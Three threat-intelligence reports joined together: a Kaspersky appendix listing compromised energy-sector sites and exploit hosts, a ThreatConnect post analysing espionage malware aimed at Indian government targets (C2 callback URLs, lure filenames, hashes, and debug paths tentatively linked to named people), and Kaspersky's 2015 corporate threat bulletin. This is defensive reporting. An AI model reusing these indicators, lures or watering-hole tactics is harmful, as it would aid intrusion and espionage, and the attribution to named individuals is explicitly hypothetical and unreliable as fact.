com 2013 Q4 firstenergy.com FirstEnergy Capital - Calgary based investment banking provider.
Financial, advisory and investment services to the global energy sector kenzhebek.com 2013 Q3 www.energo-pro.ge Energy Pro Georgia - one of the biggest energy companies in the region...vast investments in the development and maintenance of company owned renewable energy objects, rehabilitation of grid infrastructure and service improvement kenzhebek.com 2013 Q2, Q3 energo-pro.ge Energy Pro Georgia - one of the biggest energy companies in the region...vast investments in the development and maintenance of company owned renewable energy objects, rehabilitation of grid infrastructure and service improvement keeleux.com 2013 Q2 gritech.fr GritecH - engineering company in the field of high voltage and computing power transmission steel structures keeleux.com 2013 Q4 113 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Compromised Referrer Referrer Profile Exploit Site Approximately Active rare.fr Rseau national des Agences Rgionales de lEnergie et de lEnvironnement - brings together 12 partners Operational partnerships have been established with the Ministry of Ecology, Energy, Sustainable Development and the Sea... ADEME and the network of local energy agencies (FLAME) keeleux.com 2013 Q4 used.samashmusic.com US-based website - used musical instrument stores located across the US.
Frequently emails potential customers with links to site waytomiracle.
com 2014 Q1 sbmania.net Sponge Bob fan site SpongeBuddy Mania -  includes a forum where individuals can be specifically targeted, including adults waytomiracle.
com 2014 Q1 39essex.com British based global advisers - legal mediation and advocacy, policy and business advice serviciosglobal.
com 2013 Q4 meteo.orange.fr French-based weather forecasting for Saint Gervais, FR serviciosglobal.
com 2013 Q4 energyplatform.eu French-based RBF, Renewables Business Facilitator - organization representing 200 renewable energy research centers and businesses woman-site.com 2013 Q4 gritech.fr GritecH - engineering company in the field of high voltage and computing power transmission steel structures woman-site.com 2013 Q4 114 TLP: Green For any inquire please contact intelreportskaspersky.com Compromised Referrer Referrer Profile Exploit Site Approximately Active vitoreseau.com So far the only collective alternative energy natural gas was electricity.
Now, with the solution VITORESEAU choice exists.
VITOGAZ gives your town a safe, efficient and economical to the problem of gas supply places inaccessible to traditional city gas response.
mahsms.ir 2014 Q1 115 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com XII.
Appendix 12: Previous and parallel research ENERGY WATERING HOLE ATTACK USED LIGHTSOUT EXPLOIT KIT, Threatpost http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit Watering-Hole Attacks Target Energy Sector, Cisco Security http://blogs.cisco.com/security/watering-hole-attacks-target-energy-sector/ Global Threat Report 2013, Crowdstrike http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_ Global_Threat_Report_2013.pdf Talk2M Incident Report, [30-01-2014], eWON The eWON commercial website www.ewon.biz has been attacked.
A corrupted eCatcherSetup.exe file has been placed into the CMS (Content Management System) of www.ewon.biz website and eCatcher download hyperlinks have been rerouted to this corrupted file.
http://www.talk2m.com/en/full_news.html?cmp_id7news_id51 LightsOut EK: By the way... How much is the fish?,
Malwageddon http://malwageddon.blogspot.ru/2013/09/unknown-ek-by-way-how-much-is-fish.html LightsOut EK Targets Energy Sector, Zscalar Threatlab http://research.zscaler.com/2014/03/lightsout-ek-targets-energy-sector.html Advisory (ICSA-14-178-01), ICS Focused Malware, ICS-CERT http://ics-cert.us-cert.gov/advisories/ICSA-14-178-01 havex-rat [analysis], Gi0vann1 Sug4r http://pastebin.com/2x1JinJd [analysis], unixfreaxjp http://pastebin.com/raw.php?iqCdMwtZ6 Hello, a new specifically covered exploit kit, Snort VRT http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit http://threatpost.com/energy-watering-hole-attack-used-lightsout-exploit-kit http://blogs.cisco.com/security/watering-hole-attacks-target-energy-sector/ http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_Global_Threat_Report_2013.pdf http://www.crowdstrike.com/sites/all/themes/crowdstrike2/css/imgs/platform/CrowdStrike_Global_Threat_Report_2013.pdf http://www.talk2m.com/en/full_news.html?cmp_id7news_id51 http://malwageddon.blogspot.ru/2013/09/unknown-ek-by-way-how-much-is-fish.html http://research.zscaler.com/2014/03/lightsout-ek-targets-energy-sector.html http://ics-cert.us-cert.gov/advisories/ICSA-14-178-01 http://pastebin.com/2x1JinJd http://pastebin.com/raw.php?iqCdMwtZ6 http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html 116 TLP: Green For any inquire please contact intelreportskaspersky.com Continued analysis of the LightsOut Exploit Kit, Snort VRT http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html An Overview of Exploit Packs (Update 20) Jan 2014, Mila, Contagio http://contagiodump.blogspot.com/2010/06/overview-of-exploit-packs-update.html Havex Hunts For ICS/SCADA Systems, f-secure http://www.f-secure.com/weblog/archives/00002718.html Dragonfly: Cyberespionage Attacks Against Energy Suppliers, Symantec http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/ Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf CCIRC Operational Summary - REPORTING PERIOD: FEBRUARY 16, 2014  MARCH 1, 2014 Targeted attacks against Canadian energy sector, Canadian Cyber Incident Response Centre http://origin.library.constantcontact.com/download/get/file/1102733644597-691/CCIRC- OperationalSummary-16February2014to1March_2.pdf http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html http://vrt-blog.snort.org/2014/05/continued-analysis-of-lightsout-exploit.html http://contagiodump.blogspot.com/2010/06/overview-of-exploit-packs-update.html http://www.f-secure.com/weblog/archives/00002718.html http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf http://origin.library.constantcontact.com/download/get/file/1102733644597-691/CCIRC-OperationalSummary-16February2014to1March_2.pdf http://origin.library.constantcontact.com/download/get/file/1102733644597-691/CCIRC-OperationalSummary-16February2014to1March_2.pdf
Threat Connect Threat Intelligence Why Threat Intelligence is Important How to Develop Threat Intelligence Community Collaboration Case Study Platform Capabilities Integrations ThreatConnect API ThreatConnect Cloud Cloud Security Upgrade Communities Private Communities Moderated Common Community Moderated Subscriber Communities Intelligence Research Team Data Privacy Methodology Diamond Model of Intrusion Analysis Threat Inference Engine Collaborative Intelligence News  Events In The News Press Releases Blog About Leadership Careers Contact Us Login Home News News Where There is Smoke, There is Fire: South Asian Cyber Espionage Heats Up Posted August 2, 2013 by TCIRT  filed under Research.
Summary: The global proliferation of cyber espionage may be serving as a catalyst for regional entities within South Asia to adopt their own cyber espionage capabilities.
Irrespective of the threats sophistication or motivation, South Asian cyber threats are likely emulating behaviors of larger regional powers to strategically influence national, organizational or individual objectives.
The ThreatConnect Intelligence Research Team (TCIRT) has identified an example of South Asian cyber espionage that is likely transcending sectors and regional geographic boundaries.
Analyses of multiple customized malware binaries hosted within a small U.S. subnet have likely been used to target Indian military or government entities.
The malware contains specific artifacts that point to a commercial Pakistani entity.
Although the TCIRT cannot conclusively confirm direct involvement, several hypotheses have been developed which may account for the malware and observed activity.
All of the following information and threat indicators are available within ThreatConnect.com and have been shared with the ThreatConnect community.
Operational Caveat: The ThreatConnect Intelligence Research Team has contacted the affected service providers and notified them of the activity observed.
Details associated with this threat have been shared with the ThreatConnect Community within Incident 20130731A: South Asia Cyber Espionage Heats Up.
It Takes Two to Tango: Globalization has woven the Internet into a fabric that interlaces practically every aspect of modern living.
Throughout the years, as evidenced in countless media reports, world superpowers have recognized and utilized the Internet as a powerful source for intelligence collection, and on occasion we have been offered glimpses as to how they are leveraging cyber espionage in support of their national diplomatic, military or economic objectives.
Similar to a younger sibling looking up to a big brother, regional and middle powers within South Asia are seeking to leverage global cyber espionage in an effort to achieve parity with nation states who have far-reaching diplomatic power, modernized militaries and influential economies.
Ultimately, these emergent economies are likely seeking to hasten their path to success in fulfilling national objectives via the short-cut that cyber espionage offers.
Individual countries within the Indo-Pak subcontinent are increasingly involved in cyber attacks and targeted espionage campaigns.
South Asia is no stranger to deeply rooted conventional conflict which is most often a strong harbinger of cyber conflict.
On March 17th, 2013, the Norwegian-based, global telecommunications provider Telenor reported a network breach from an unknown sophisticated threat actor that targeted Telenor executives using custom malware implants.
The attackers were responsible for pilfering email archives and documents from Telenor executives, compromising their intellectual property and business operations.
Nearly two months later, the Norwegian antivirus and security firm Norman issued an investigative analysis report titled Operation Hangover: Unveiling an Indian Cyberattack Infrastructure that detailed cyber espionage activities associated with the Telenor compromise.
They noted similar targeting campaigns that were observed exploiting numerous industries and organizations within Norway, Pakistan, US, Iran, China, Taiwan, Thailand, Jordan, Indonesia, UK, Germany, Austria, Poland, and Romania.
Norman speculated that a group associated with an identified private Indian information security company likely carried out the espionage campaigns.
Normans 43 page assessment concluded that a sophisticated Indian exploitation team was indeed responsible for the network breach and Telenor compromise.
The TCIRT believes that a possible theory that supports an Indian attack scenario is that the Telenor subsidiary, Telenor Pakistan, is a strategic communications infrastructure provider.
Telenor Pakistan provides voice, data content and mobile communications to more than 3,500 cities and towns within Pakistan.
Persistent remote Indian access to a strategic communications service provider, such as Telenor Pakistan, would certainly yield unparalleled signals intelligence collection capability.
The information obtained would be of strategic value to Indian intelligence services.
New Findings: In light of the recent revelation of Indian involvement in the targeting of Telenor, it is critical for us to consider the borderless nature of cyber espionage and to understand how regional cyber conflicts can spill across geographies and affect critical commercial business operations.
As part of an ongoing TCIRT focused research and analysis, we have found custom malware being used operationally in the wild that may be targeting Indian military and government related entities, as well as other unidentified South Asian targets.
This activity is possibly linked to an identified Pakistani information security company.
The Malware: In late May 2013, TCIRT identified a malicious file hosted at [http://]199.91.173[.
]43/new_salary/salary_revision.scr (Kansas City, Missouri).
This file was a self-extracting (SFX) archive that, when executed, presents the target victim with a 12 page decoy PDF document.
The document was an official Government of India (GoI), Ministry of Defense (MoD) pension memorandum of record.
It is highly likely that the malware and decoy document would be tailored for and delivered to specific recipients associated with the GoI or MoD.
The SFX dropper contained multiple custom executable files, as well as legitimate Microsoft Visual C Runtime Library files, which are part of the codebase used to develop and required to execute the backdoor code.
The malware also uses the legitimate cURL library in the form of libcurld.dll.
The open-source cURL library is a multiprotocol transfer library used primarily for FTP and HTTP transactions.
The main backdoor component is found in winsocks.exe.
The files ExtractPDF.exe and Start.exe simply serve as utilities to open the PDF file and execute the winsocks.exe backdoor component.
When executed, the winsocks.exe backdoor requests a PHP update callback at [http://]199.91.173[.
]43/fetch_updates_8765.php?compnameCOMPUTERNAME.
A version.txt file is also requested by the malware.
This file contained a version number 1.0, likely denoting the version of the backdoor and/or the command and control (C2) backend.
The winsocks.exe backdoor also contains hardcoded strings of Office file extensions, telegraphing the likely intention of the attackers in collecting and exfiltrating office automated documents from victim networks.
Another variant of this backdoor uses the same winsocks.exe with a different dropping mechanism and was found at [http://]199.91.173[.
]43/Classified_Video.flv.scr and [http://]199.91.173[.
]43/sarbajit_leaked_video.wmv.scr.
Both of these .scr files have the same MD5.
In this SFX, Windows batch files had replaced the ExtractPDF.exe and Start.exe with a decoy Flash video (FLV) file was used in place of the decoy PDF.
An FLV file is an interesting choice of decoy document since it is not a standard video format for media players.
The dynamic DNS domains windowsupdate.no- ip[.
]biz and masalavideos.no-ip[.
]biz were also being mapped to IP Address 199.91.173.43 as of late May 2013, when the video themed malicious attachments were being operationalized.
When opened the flash video simply displays a couple kissing passionately.
Implementing the use of free dynamic DNS services, such as those of NO-IP within targeting and exploitation phases of attack, are very common techniques used by a variety sophisticated threat groups.
The file sarbajit_leaked_video.wmv.scr contains a compile time of May 28, 2013 19:53:26 UTC.
The filename is possibly a misspelled reference to Sarabjit Singh, an Indian national who was arrested and convicted of terrorism and espionage charges in 1991 by Pakistani authorities.
After a protracted 22 year legal battle, Sarabjit Singh would become the victim of a severe beating by Pakistani prisoners and would later die of his injuries in a Lahore hospital on May 2, 2013.
News of the attack and subsequent death of Sarabjit Singh incited protests in India that increased regional Indo-Pakistani tensions and served as a catalyst for bilateral governmental negotiations between Delhi and Islamabad.
This file was created 26 days after the death of Sarabjit Singh, and would be of relevance to targeted Indian entities, much like the official Government of India (GoI), Ministry of Defense (MoD) pension memorandum.
Significant Malware Artifacts: Operational Caveat: It is important to note that there are information gaps which diminish our ability to establish a definitive explanation for the malicious activity and identify the responsible entities behind the authorship and use of the identified malware.
Below the TCIRT simply highlights the facts associated with specific artifacts identified within the malware.
Most of the dropped malware binaries contained a debug string that sheds light on the possible developers and operators of the malware.
The significance of the username Tranchulas within the debug path of the winsocks.exe binary is that Tranchulas is a Pakistani information security consulting company with offices in the United Kingdom, United States, and Pakistan.
The CEO of Tranchulas is Zubair Khan, a Pakistani national and information security executive who has been researching mainly on [sic] cyber warfare.
Khan also likely maintains a close relationship to the Pakistani government.
According to this online biography, he is responsible for the penetration testing of Pakistani homeland security solutions and has consulted for the Pakistani National Database and Registration Authority (NADRA).
Proximity to such sensitive security programs suggest a certain level of trust on behalf of the Pakistani government, and may indicate that official Pakistani entities could have access to Tranchulas technical support for various security projects or programs.
An ironic, yet noteworthy observation is that the Tranchulas website boasts Telenor as a client.
Tranchulas also serves as an official sponsor for the Pakistan CERT in addition to maintaining the official Pakistan CERT website (cert.org.pk).
On July 2, 2013 a similar file windefender.exe (MD5: a21f2cb65a3467925c1615794cce7581) was identified containing a strong association to Tranchulas.
This particular binary contained the following debug string: C:\Users\umairaziz27\Documents\Visual Studio 2008\Projects\usb\Release\usb.pdb The username UmairAziz27 reveals a Twitter account umairaziz27 for an Optimistic Patriot by choice who is Working as InfoSec Analyst at Tranchulas.
Umair Aziz (umairaziz27) maintains a LinkedIn professional profile that highlights his employment at Tranchulas and reveals that he was educated at the National University of Sciences and Technology School of Electrical Engineering and Computer Science (NUST-SEECS) in Pakistan.
A second host within the same 199.91.173[.
]40/29 subnet was also identified hosting similar zipped malware at [http://]199.91.173[.
]45/OBL_Leaked_Report.zip and [http://]199.91.173[.
]45/Naxalites_Funded_By_Pakistan.zip.
The OBL_Leaked_Report.zip contained a .scr file that drops a decoy document pertaining to the alleged incompetence of Pakistani authorities in locating Osama Bin Laden (OBL).
This OBL malware drops a windefender.exe backdoor component (MD5: 35663e66d02e889d35aa5608c61795eb) In this case, the debug string is: C:\Users\Cert-India\Documents\Visual Studio 2008\Projects\ufile\Release\ufile.pdb.
The binaries that contain the umairaziz27 and Cert-India debug strings are designed to call back to [http://]199.91.173[.
]45/fetch_updates_8765_tb.php?
compnameCOMPUTERNAME and [http://]199.91.173[.
]45/is_array.php?compnameCOMPUTERNAME.
Meanwhile, the Naxalites_Funded_By_Pakistan.scr file drops a slightly different malware component and an alternate decoy document.
The dropped implant, showppt.scr (MD5: 165ac370b54e664812e4c15b2396ccd6), is a downloader that connects to [http://]199.91.173[.
]45/ and downloads both legitimate library files and malicious second stage binaries.
Working Hypotheses: The use of Tranchulas and UmairAziz27 in the malware debugging paths, in addition to the multiple targeting campaigns that maintain themes likely aimed at Indian entities or involving Pakistan related issues, leads us to assess the following competing hypotheses which may be considered as plausible explanations for the identified activity: Hypothesis 1: Tranchulas developed the malicious binaries, and staged them for offensive exploitation operations on behalf of an unidentified customer.
Email Address Search the Site... Hypothesis 2: Tranchulas developed and sold the malicious binaries to an unidentified customer, where they were later operationalized by an unidentified entity.
Hypothesis 3: An unidentified third party unaffiliated with Tranchulas developed the malware, deliberately including misleading software artifacts as a direct effort to create speculation and shift blame toward Tranchulas.
Hypothesis 4: A rogue Tranchulas employee used company resources without company knowledge to develop the malware, where an unknown operator later used it offensively.
Hypothesis 5: Indian entities actively sought and utilized the services of Pakistan based information security company, Tranchulas, for an officially sanctioned and authorized penetration test.
The malicious implants were subsequently developed and used as part of official Tranchulas service offerings, while the files and infrastructure used for the audit were submitted to publicly available malware analysis services.
Hypothesis 6: An unidentified Indian entity developed and used this malware as a realistic simulated exercise to perform penetration testing and evaluate their readiness in the event of actual Pakistani affiliated offensive network operations.
The files and infrastructure used for the simulation were submitted to publicly available malware analysis services.
Conclusion: Considering the long-standing regional tensions between India and Pakistan, South Asia serves as a likely flashpoint for conventional conflict to carry over and play out within cyberspace.
Public and private sectors alike should begin to increase their awareness of emerging cyber threats from the lesser-known middle powers.
Regardless of sophistication, these threats may support future belligerents who have or will eventually possess the capability and intent to disrupt critical business operations.
Details associated with this threat have been shared with the ThreatConnect Community within Incident 20130731A: South Asia Cyber Espionage Heats Up.
If you or your organization is interested in obtaining crowd-sourced threat intelligence that increases your awareness of emerging cyber threats, please register at ThreatConnect.com and join our community.
Tags: Cyber Espionage, India, Pakistan, South Asia, Telenor No Comments SUBSCRIBE TO OUR BLOG VIA OR EMAIL Recent Posts Cyber Squared Launches ThreatConnect API ThreatConnect Gets to the Root of Targeted Exploitation Campaigns ThreatConnect Takes Signature Management to the Next Level The Dollars and Sense Behind Threat Intelligence Sharing Divide and Conquer: Unmasking Chinas Quarian Campaigns Through Community Categories In The News Press Releases Previous article Next article RSS feed Research Archives January 2014 December 2013 November 2013 October 2013 September 2013 August 2013 Threat Connect.
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EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR Kaspersky Security Bulletin 2015 KLReport https://twitter.com/search?q23KLReportsrctypd 2 KASPERSKY SECURITY BULLETIN 2015 CONTENT THE YEAR IN FIGURES ....................................................................... 3 TARGETED ATTACKS ON BUSINESSES: APTANDCYBERCRIMINALS ............................................................ 4 STATISTICS ............................................................................................ 8 Online threats (Web-based attacks) ............................................................ 8 Local threats ..................................................................................................... 9 CHARACTERISTICS OF ATTACKS ON BUSINESSES .................. 11 Use of exploits in attacks on businesses .................................................. 11 Ransomware ....................................................................................................14 ATTACKS ON POS TERMINALS ......................................................17 CONCLUSION ................................................................................... 18 PREDICTIONS .................................................................................... 19 WHAT TO DO?
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20 3 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR In late 2014, we published predictions for how the world of cyber threats may evolve in 2015.
Four of the nine predictions we made were directly connected with threats to businesses.
Our predictions proved accurate three of the four business-related threats have already been fulfilled: Cybercriminals embrace APT tactics for targeted attacks  yes.
APT groups fragment, diversify attacks  yes.
Escalation of ATM and PoS attacks  yes.
Attacks against virtual payment systems  no.
Lets have a look back at the major incidents of 2015 and at the new trends we have observed in information security within the business environment.
THE YEAR IN FIGURES In 2015 one or more malware attacks were blocked on 58 of corporate computers.
This is a 3 p.p.
rise on the previous year.
29 of computers  i.e.
almost every third business-owned computer were subjected to one or more web-based attacks.
Malware exploiting vulnerabilities in office applications were used 3times more often than in attacks against home users.
File antivirus detection was triggered on 41 of corporate computers (objects were detected on computers or on removable media connected to computers: flash drives, memory cards, telephones, external hard drives, or network disks).
https://securelist.com/analysis/kaspersky-security-bulletin/67864/kaspersky-security-bulletin-2014-predictions-2015/ https://securelist.com/analysis/kaspersky-security-bulletin/67864/kaspersky-security-bulletin-2014-predictions-2015/ 4 KASPERSKY SECURITY BULLETIN 2015 TARGETED ATTACKS ON BUSINESSES: APTANDCYBERCRIMINALS 2015 saw a number of APT attacks launched against businesses.
Thetoolkits and methods used were very similar to those we observed when analyzing earlier APT attacks, but it was cybercriminals rather than state-sponsored groups who were behind the attacks.
The methods used may not be characteristic of cybercriminals, but the main aim of their attacks remained the same: financial gain.
The Carbanak campaign became a vivid example of how APT-class targeted attacks have shifted focus to financial organizations.
The campaign was one of bona fide bank robberies in the digital age: the cybercriminals penetrated a banks network looking for a critical system, which they then used to siphon off money.
After stealing a hefty sum (anywhere between 2.5 million and 10 million) from a bank, they moved on to the next victim.
Most of the organizations targeted were located in Eastern Europe.
However, the Carbanak campaign has also targeted victims in the US, Germany and China.
Up to 100 financial institutions have been affected across the globe, and the total losses could be as a high as 1 billion.
https://securelist.com/blog/research/68732/the-great-bank-robbery-the-carbanak-apt/ 5 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR It shouldnt be forgotten that information can also be of great value, especially if it can be used when making deals or trading on the stock exchange, be it in commodities, securities or currency markets, including cryptocurrency markets.
One example of a targeted attack that may have been hunting for such information is Wild Neutron (aka Jripbot and Morpho).
This cyber- espionage campaign first hit the headlines in 2013 when it affected several reputable companies, including Apple, Facebook, Twitter and Microsoft.
After these incidents received widespread publicity the actors behind the cyberespionage campaign suspended their activities.
However, about a year later Kaspersky Lab observed that Wild Neutron had resumed operations.
Our research has shown that the cyberespionage campaign caused infections on user computers in 11 countries and territories, namely Russia, France, Switzerland, Germany, Austria, Slovenia, Palestine, the United Arab Emirates, Kazakhstan, Algeria and the US.
The victims included law firms, investment companies, bitcoin-related companies, enterprises and business groups involved in MA deals, IT companies, healthcare companies, real estate companies, as well as individual users.
It should be noted that Wild Neutron used a code signing certificate stolen from Acer.
Stolen Acer certificate in the Wild Neutron installer The trend towards the diversification of APT attacks is well illustrated by the change in targets attacked by the Chinese cybercriminal group Winnti.
It was a long-held belief that Winnti only attacked computer gaming companies.
However, in autumn 2015 evidence began to emerge that showed the group had performed a test run of their tools and methods and were trying to make money by attacking new targets.
Their attention is no longer limited to the entertainment industry, with recent targets https://threatpost.com/ios-developer-site-core-facebook-apple-watering-hole-attack-022013/77546/ https://securelist.com/blog/incidents/70991/games-are-over/ 6 KASPERSKY SECURITY BULLETIN 2015 including pharmaceutical and telecom companies.
Analysis of the new wave of Winnti attacks has revealed that (as with Wild Neutron) the Winnti rootkit was signed with a stolen certificate that belonged to a division at a major Japanese conglomerate.
Another development in 2015 was the expanding geographies of both the attacks and the attackers.
For example, when Kaspersky Lab experts were investigating a Middle East incident, they came across activity by a previously unknown group conducting targeted attacks.
The group, dubbed the Desert Falcons, is the first Arab actor to conduct full-blown cyberespionage attacks.
At the time the group was detected, its victims numbered around 300, including financial organizations.
Another group named Blue Termite attacked organizations and companies in Japan: Information about targeted attacks on businesses is available in the following Kaspersky Lab reports: Carbanak, Wild Neutron, Winnti, DarkHotel 2015, Desert Falcons, Blue Termit, Grabit.
More detailed research results are provided to subscribers of the Kaspersky Intelligence Service.
Analysis of these attacks has identified several trends in the evolution of targeted attacks on businesses: Financial organizations such as banks, funds and exchange-related companies, including cryptocurrency exchanges, have been subjected to attacks by cybercriminals.
http://securelist.com/featured/68817/the-desert-falcons-targeted-attacks/ https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/ https://securelist.com/blog/research/68732/the-great-bank-robbery-the-carbanak-apt/ https://securelist.com/blog/research/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/ https://securelist.com/blog/incidents/70991/games-are-over/ https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/ https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/ https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/ https://securelist.com/blog/research/70087/grabit-and-the-rats/ http://www.kaspersky.com/business-security/entrp/apt 7 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR The attacks are meticulously planned.
The cybercriminals scrutinize the interests of potential victims (employees at the targeted company), and identify the websites they are most likely to visit they examine the targeted companys contacts, equipment and service providers.
The information collected at the preparation stage is then put to use.
The attackers hack legitimate websites that have been identified and the business contact accounts of the targeted companys employees.
The sites and accounts are used for several hours to distribute malicious code, after which the infection is deactivated.
This means the cybercriminals can re-use the compromised resources again later.
Signed files and legitimate software is used to collect information from the attacked network.
Attacks are diversifying to include small and medium-sized businesses.
The geography of attacks on businesses is expanding: a massive attack occurred in Japan, the emergence of new APT groups in Arab countries.
Although there are relatively few APT attacks launched by cybercriminals, the way they are developing will undoubtedly influence the methods and approaches employed by other cybercriminals in their operations against businesses.
8 KASPERSKY SECURITY BULLETIN 2015 STATISTICS The statistics for corporate users (including the geography of attacks and ratings for detected objects) tend to coincide with those for home users.
This is unsurprising because business users do not exist in an isolated environment and their computers are targeted by cybercriminals who spread malware irrespective of the nature of the target.
These types of attacks and malware constitute the majority, while attacks specifically targeting business users have little impact on the overall statistics.
In 2015, one or more malware attack was blocked on 58 of corporate user computers, which is a 3 p.p.
rise on last year.
Online threats (Web-based attacks) In 2015, almost every third (29) computer in a business environment was subjected to one or more web-based attacks.
TOP 10 web-based malicious programs Please note that this ranking includes malicious programs only, and noadware.
Although intrusive and annoying for users, adware does not cause any damage to a computer.
Name  of unique users attacked 1 Malicious URL 57 2 Trojan.
Script.
Generic 24.7 3 Trojan.
Script.
Iframer 16.0 4 Exploit.
Script.
Blocker 4.1 5 Trojan-Downloader.
Win32.Generic 2.5 6 Trojan.
Win32.Generic 2.3 7 Trojan-Downloader.JS.Iframe.diq 2.0 8 Exploit.
Script.
Generic 1.2 9 Packed.
Multi.
MultiPacked.gen 1.0 10 Trojan-Downloader.
Script.
Generic 0.9 These statistics represent the detection verdicts of the web antivirus module.
Information was provided by users of Kaspersky Lab products who consented to share their local statistical data.
The percentage of all web attacks recorded on the computers of unique users.
This Top 10 consists almost exclusively of verdicts assigned to malicious objects that are used in drive-by attacks  Trojan downloaders and exploits.
9 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR Geography of web-based attacks Geography of web-based attacks in 2015 (percentage of attacked corporate users in each country) Local threats The file antivirus detection was triggered on 41 of corporate user computers.
The detected objects were located on computers or on removable media connected to the computers, such as flash drives, memory cards, telephones, external hard drives and network drives.
TOP 10 malicious programs detected on user computers This ranking includes malicious programs only, and no adware.
Although intrusive and annoying for users, adware does not cause any damage to a computer.
Name  unique users attacked 1 DangerousObject.
Multi.
Generic 23.1 2 Trojan.
Win32.Generic 18.8 3 Trojan.
WinLNK.StartPage.gena 7.2 4 Trojan.
Win32.AutoRun.gen 4.8 5 Worm.
VBS.Dinihou.r 4.6 6 Net-Worm.
Win32.Kido.ih 4.0 7 Virus.
Win32.Sality.gen 4.0 8 Trojan.
Script.
Generic 2.9 9 DangerousPattern.
Multi.
Generic 2.7 10 Worm.
Win32.Debris.a 2.6 These statistics are compiled from malware detection verdicts generated by the on-access and on-demand scanner modules on the computers of those users running Kaspersky Lab products who have consented to submit their statistical data.
The proportion of individual users on whose computers the antivirus module detected these objects as a percentage of all attacked individual users.
10 KASPERSKY SECURITY BULLETIN 2015 First place is occupied by various malicious programs that were detected with the help of cloud technologies, and assigned the umbrella verdict of DangerousObject.
Multi.
Generic.
Cloud technologies work when antivirus databases do not yet contain signatures or heuristics to detect a malicious program but the companys cloud antivirus database already includes information about the object.
When a client company cannot send statistics to the cloud, Kaspersky Private Security Network is used instead, meaning that network computers receive protection from the cloud.
Most of the remaining positions in the ranking are occupied by self- propagating malware programs and their components.
Geography of local threats Geography of local threat detections in 2015 (percentage of attacked corporate users in each country) 11 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR CHARACTERISTICS OF ATTACKS ON BUSINESSES The overall statistics for corporate users do not reflect the specific attributes of attacks launched against businesses the stats are influenced more by the probability of a computer infection in a country, or by how popular a specific malware program is with cybercriminals.
However, a more detailed analysis reveals the peculiarities of attacks on corporate users: exploits for vulnerabilities found in office applications are used three times more often than in attacks on home users use of malicious files signed with valid digital certificates use of legitimate programs in attacks, allowing the attackers to go undetected for longer.
We have also observed a rapid growth in the number of corporate user computers attacked by encryptor programs.
In this particular context, the majority of cases are not APT attacks: standard cybercriminals are simply focusing on corporate users, and sometimes on a particular company that is of interest to them.
Use of exploits in attacks on businesses The ranking of vulnerable applications is compiled based on information about exploits blocked by Kaspersky Lab products and used by cybercriminals, both in web- and email-based attacks, as well as attempts to compromise local applications, including those on mobile devices.
12 KASPERSKY SECURITY BULLETIN 2015 Distribution of exploits used in cybercriminal attacks by type of attacked application (corporate users, 2015) Distribution of exploits used in cybercriminal attacks by type of attacked application (home users, 2015) 13 EVOLUTION OF CYBER THREATS IN THE CORPORATE SECTOR If we compare the use of exploits by cybercriminals to attack home and corporate users, the first obvious difference is that exploits for office software vulnerabilities are used much more often in attacks launched against businesses.
They are only used in 4 of attacks on home users, but when it comes to attacks on corporate users, they make up 12 of all exploits detected throughout the year.
Web browsers are the applications targeted most often by exploits in attacks on both home and corporate users.
When viewing these statistics, it should be noted that Kaspersky Lab technologies detect exploits at various stages.
Detection of landing pages from which exploits are distributed are also counted in the Browsers category.
We have observed that most often these are exploits for vulnerabilities in Adobe Flash Player.
Distribution of exploits used in cybercriminal attacks by type of attacked application in 2014 and 2015 The proportions of Java and PDF exploits have declined significantly compared to 2014, by 14 p.p.
and 8 p.p.,
respectively.
Java exploits have lost some of their popularity in spite of the fact that several zero-day vulnerabilities that been found during the year.
The proportion of attacks launched using vulnerabilities in office software (8 p.p.
),
browsers (9p.p.
),
Adobe Flash Player (9 p.p), and Android software (3 p.p.)
have risen.
Investigations of security incidents have shown that even in targeted attacks on corporations, cybercriminals often use exploits for known vulnerabilities.
This is because corporate environments are slow to install appropriate 14 KASPERSKY SECURITY BULLETIN 2015 security patches.
The proportion of exploits that target vulnerabilities in Android applications has risen to 7, which suggests cybercriminals have a growing interest in corporate data stored on employees mobile devices.
Ransomware Encryption Trojans were long considered to be a threat to home users only.
Nowadays, however, we see ransomware actors paying more attention to organizations as targets.
In 2015, Kaspersky Lab solutions detected ransomware on more than 50,000 computers in corporate networks, which is double the figure for 2014.
It is important to keep in mind that the real number of incidents is several times higher: the statistics reflect only the results of signature- based and heuristic detections, while in most cases Kaspersky Lab products detect encryption Trojans based on behavior recognition models.
The number of unique corporate users attacked by encryption Trojans in 2014 and 2015 There are two reasons for the surge in interest in businesses by ransomware actors.
Firstly, they can receive much bigger ransoms from organizations than from individual users.
Secondly, there is a better chance the ransom will be paid: some companies simply cannot continue their operations if information has been encrypted and is unavailable on critical computers and/or servers.
